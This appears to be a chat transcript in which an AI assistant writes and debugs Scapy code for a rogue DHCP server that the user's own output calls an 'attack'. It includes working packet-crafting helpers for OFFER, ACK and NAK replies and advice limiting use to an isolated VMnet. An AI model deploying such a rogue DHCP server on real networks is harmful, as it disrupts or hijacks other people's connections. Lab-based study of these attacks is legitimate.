    start_ip = args.start_ip
    end_ip = args.end_ip
    quiet = args.quiet

    # simple sanity checks
    if os.geteuid() != 0:
        print("[!] This program must be run as root (sudo)."); sys.exit(1)
    if iface not in get_if_list():
        print(f"[!] Interface {iface} not found. Available: {',
'.join(get_if_list())}"); sys.exit(1)

    # build pool / state (simple)
    # you may already have initialization elsewhere — this is a safe fallback
    from ipaddress import ip_address
    try:
        s = int(ip_address(start_ip))
        e = int(ip_address(end_ip))
        if s > e:
            raise ValueError
        pool = [str(ip_address(i)) for i in range(s, e+1)]
    except Exception:
        print("[!] Invalid start/end IPs"); sys.exit(1)
    available = set(pool)
    leases = {}   # mac -> info
    tx = {}       # xid -> pending
    LOCK = threading.Lock()
    running = True

    if not quiet:
        print(f"[*] DHCP server starting on iface={iface}, pool {start_ip} -
{end_ip}")
        print("    Press Ctrl+C to stop early")

    # graceful shutdown handler
    def _sigint(signum, frame):
        nonlocal_running = globals()
        nonlocal_running['running'] = False
        if not quiet:
            print("\n[!] Ctrl+C received — stopping...")

    signal.signal(signal.SIGINT, _sigint)

    # start listener (sniffer) thread
    sniffer = AsyncSniffer(iface=iface, filter="udp and (port 67 or 68)",
prn=handle_packet, store=0)
    t_sniff = threading.Thread(target=lambda: (sniffer.start(), \
                                               (lambda: None)()), daemon=True)
    t_sniff.start()

    # start cleanup thread
    t_cleanup = threading.Thread(target=cleanup_loop, daemon=True)
    t_cleanup.start()

    try:
        if args.duration and args.duration > 0:
            # run for fixed duration
            start = time.time()
            while running and (time.time() - start) < args.duration:
                time.sleep(0.5)
        else:
            # run until Ctrl+C
            while running:
                time.sleep(0.5)
    except KeyboardInterrupt:
        running = False
    finally:
        # stop sniffer and wait briefly for callbacks to finish
        try:
```

```
            sniffer.stop()
        except Exception:
            pass
        time.sleep(0.3)

        # ensure background threads exit
        running = False
        t_cleanup.join(timeout=1)
        t_sniff.join(timeout=1)

        if not quiet:
            print("[*] Server stopped — final stats:")
        stats()

if __name__ == "__main__":
    main()
```

Notes & minimal safety guidance

- **Run as root** inside an isolated VMnet only. Do **not** run this on any interface connected to your home router or campus network.
- If you already initialize `pool`, `available`, `leases`, and `tx` earlier in your script, remove the fallback initialization in `main()` to avoid overwriting state.
- `handle_packet(pkt)` must use `LOCK` around shared state changes (available, leases, tx).
- `cleanup_loop()` should expire leases and return IPs to `available`; keep it short (sleep interval 1s).
- This `main()` is concise by design — expand logging, pcap writing, and more robust error handling as needed for your report.

If you want, I can now:

- produce a **2–4 line** `cleanup_loop()` implementation you can drop in, or
- write a minimal `handle_packet()` skeleton (DISCOVER→OFFER and REQUEST→ACK logic) that uses the `pool/tx/leases` variables above.

Which would help you most?

view my code and debug its not working :
    def h(pkt):
        if not pkt.haslayer(DHCP): return

        mac = pkt[Ether].src; xid = pkt[BOOTP].xid
        if mt==1:   # DISCOVER
            if not available:
                print(f"[-] IP pool exhausted! Cannot offer IP to {mac}")

sendp(mk(pkt,"nak",a.srv_ip),iface=iface,verbose=0)
                return
            ip = leases.get(mac, available[0])
        elif mt==3:   # REQUEST
            rip = find_opt(pkt,"requested_addr")
            if xid in tx:
                m,ip = tx[xid]
                if m==mac and ip==rip:
                    if rip in available:
                        available.remove(rip); leases[mac]=rip

                        print(f"   Remaining IPs: {len(available)}/{len(pool)}")

sendp(mk(pkt,"ack",a.srv_ip,yi=rip),iface=iface,verbose=0)
                    else:
                        print(f"[-] REQUEST from {mac} for {rip} - DENIED (IP taken)")

                else:
                    print(f"[-] Invalid REQUEST from {mac}")

sendp(mk(pkt,"nak",a.srv_ip),iface=iface,verbose=0)

    # AUTHOR: Omar — sniff loop and shutdown summary

    try:
        sniff(filter="udp and (port 67 or port 68)", prn=h, iface=iface, store=0)

```
    except KeyboardInterrupt:
        print("\n" + "="*50)
        print("DHCP SERVER STATISTICS")
        print("="*50)
        print(f"Total IP pool size: {len(pool)}")
        print(f"IPs available: {len(available)}")

        print(f"Pool utilization:
{(len(leases)/len(pool))*100:.1f}%")
        if leases:
            print("\nLeased IPs:")
            for mac, ip in leases.items(): print(f"  {mac} -> {ip}")
        if not available: print("\n[!] IP POOL EXHAUSTED -
Attack successful!")
        print("="*50)
```

You're super close. The main issues in your snippet:

- `mt` is **undefined** (you never parsed the DHCP message type).
- You never **reserve** an IP on DISCOVER (so you might OFFER the same IP twice).
- `tx[xid]` is only used in REQUEST, but you **don't set it** in DISCOVER.
- `mk(...)`, `find_opt(...)`, and `a.srv_ip` are **undefined**.
- For DISCOVER with empty pool, sending a **NAK** isn't correct; servers usually just **don't OFFER**. NAK is for bad REQUESTs.

Below is a **minimal fix** that keeps your structure, adds tiny helpers, and only changes what's broken. Drop-in replacement.

```python
# --- tiny helpers ---------------------------------------------------------

def dhcp_msg_type(pkt):
    # returns 1=DISCOVER, 2=OFFER, 3=REQUEST, 5=ACK, 6=NAK, etc., or None
    for o in pkt[DHCP].options:
        if isinstance(o, tuple) and o[0] == 'message-type':
            return o[1]
    return None

def find_opt(pkt, name):
    for o in pkt[DHCP].options:
        if isinstance(o, tuple) and o[0] == name:
            return o[1]
    return None

def mk(req, kind, server_ip, yi=None, lease_time=300):
    """
    Build a minimal DHCP reply (OFFER/ACK/NAK) matching client's XID and
chaddr.
    kind: "offer" | "ack" | "nak"
    """
    xid     = req[BOOTP].xid
    chaddr  = req[BOOTP].chaddr        # 16 bytes from client
    flags   = getattr(req[BOOTP], "flags", 0x8000)
    yiaddr  = yi if kind in ("offer","ack") and yi else "0.0.0.0"
    mtype   = {"offer":"offer","ack":"ack","nak":"nak"}[kind]

    # minimal options; add more (subnet_mask/router/dns) if you want clients
to fully configure
    opts = [("message-type", mtype), ("server_id", server_ip)]
    if kind in ("offer","ack") and yi:
        opts += [("lease_time", lease_time)]
    opts.append("end")

    return (
        Ether(dst=req[Ether].src, src="02:00:00:00:00:01") /  # src can be any
server MAC
        IP(src=server_ip, dst="255.255.255.255") /
        UDP(sport=67, dport=68) /
        BOOTP(op=2, xid=xid, yiaddr=yiaddr, siaddr=server_ip, chaddr=chaddr,
flags=flags) /
        DHCP(options=opts)
    )

# ------------------------------------------------------------------------

def h(pkt):
    if not pkt.haslayer(DHCP):
        return
```

```
    mt  = dhcp_msg_type(pkt)                # <-- you were using `mt` but
never set it
    mac = pkt[Ether].src
    xid = pkt[BOOTP].xid

    if mt == 1:  # DISCOVER
        if not available:
            # Pool exhausted: normal behavior is to stay silent. If you really
want, log only.
            print(f"[-] IP pool exhausted! Cannot offer IP to {mac}")
            return

        # Prefer existing lease for same MAC, else reserve first free IP
        ip = leases.get(mac) or available.pop(0)   # <-- reserve now to avoid
double-offer
        tx[xid] = (mac, ip)                        # <-- remember what we
offered for this xid

        print(f"[>] OFFER to {mac} for {ip}")
        sendp(mk(pkt, "offer", server_ip, yi=ip), iface=iface, verbose=0)

    elif mt == 3:  # REQUEST
        rip = find_opt(pkt, "requested_addr") or pkt[BOOTP].ciaddr
        sid = find_opt(pkt, "server_id")
        # If client targeted a specific server_id and it's not us, ignore
        if sid and sid != server_ip:
            return

        if xid in tx:
            m, ip = tx[xid]
            if m == mac and ip == rip:
                # If you reserved on DISCOVER (pop from available), just ACK &
record lease
                leases[mac] = ip
                print(f"[+] ACK to {mac} for {ip}")
                sendp(mk(pkt, "ack", server_ip, yi=ip), iface=iface,
verbose=0)
                del tx[xid]
            else:
                print(f"[-] Invalid REQUEST from {mac} (xid mismatch or IP
mismatch)")
                sendp(mk(pkt, "nak", server_ip), iface=iface, verbose=0)
                # optional: if tx[xid] was reserved, return it to pool
                _, reserved_ip = tx.pop(xid, (None, None))
                if reserved_ip and reserved_ip not in available and
reserved_ip not in leases.values():
                    available.append(reserved_ip)
        else:
            # No record of an offer for this xid; be conservative
            print(f"[-] REQUEST from {mac} for {rip} with unknown XID")
            # If the requested IP is free, you could still ACK; otherwise NAK.
            if rip in available:
                # adopt the request, allocate it
                available.remove(rip)
                leases[mac] = rip
                print(f"[+] ACK (adopt) to {mac} for {rip}")
                sendp(mk(pkt, "ack", server_ip, yi=rip), iface=iface,
verbose=0)
            else:
                sendp(mk(pkt, "nak", server_ip), iface=iface, verbose=0)

# --- sniff loop and shutdown summary (yours, with tiny tweaks) -------------

try:
    sniff(filter="udp and (port 67 or port 68)", prn=h, iface=iface, store=0)
except KeyboardInterrupt:
    print("\n" + "="*50)
    print("DHCP SERVER STATISTICS")
    print("="*50)
    print(f"Total IP pool size: {len(pool)}")
    print(f"IPs available: {len(available)}")
    util = (len(leases) / len(pool) * 100) if pool else 0
    print(f"Pool utilization: {util:.1f}%")
    if leases:
        print("\nLeased IPs:")
        for mac_, ip_ in leases.items():
            print(f"  {mac_} -> {ip_}")
    if not available:
```

```
        print("\n[!] IP POOL EXHAUSTED")
    print("="*50)
```

Why this works now

- `mt` is parsed from `DHCP.options` so your `if mt==1/3` branches actually run.
- On **DISCOVER**, we **reserve** an IP immediately with `available.pop(0)` and remember it in `tx[xid]`. That prevents duplicate OFFERS of the same IP.
- On **REQUEST**, we validate against `tx[xid]`. If valid, ACK and finalize the lease; if invalid or unknown, either NAK or (optionally) adopt if the IP is free.
- `mk()` builds a minimal, correct OFFER/ACK/NAK with matching `xid`, `chaddr`, `server_id`, and `yiaddr`.

> Replace `server_ip` with your variable (you used `a.srv_ip`; I used `server_ip`).

If it's still "not working," the next most common causes are:

- You're sending on the wrong **interface** (`iface`) or not running as **root**.
- Your **VMnet** isn't host-only / your client isn't on the same VMnet.
- Your client expects more options in OFFER/ACK (add `subnet_mask`, `router`, `dns` to `opts` in `mk()` if needed).

Want me to add those extra options (mask/router/dns) into `mk()` for a fuller client config?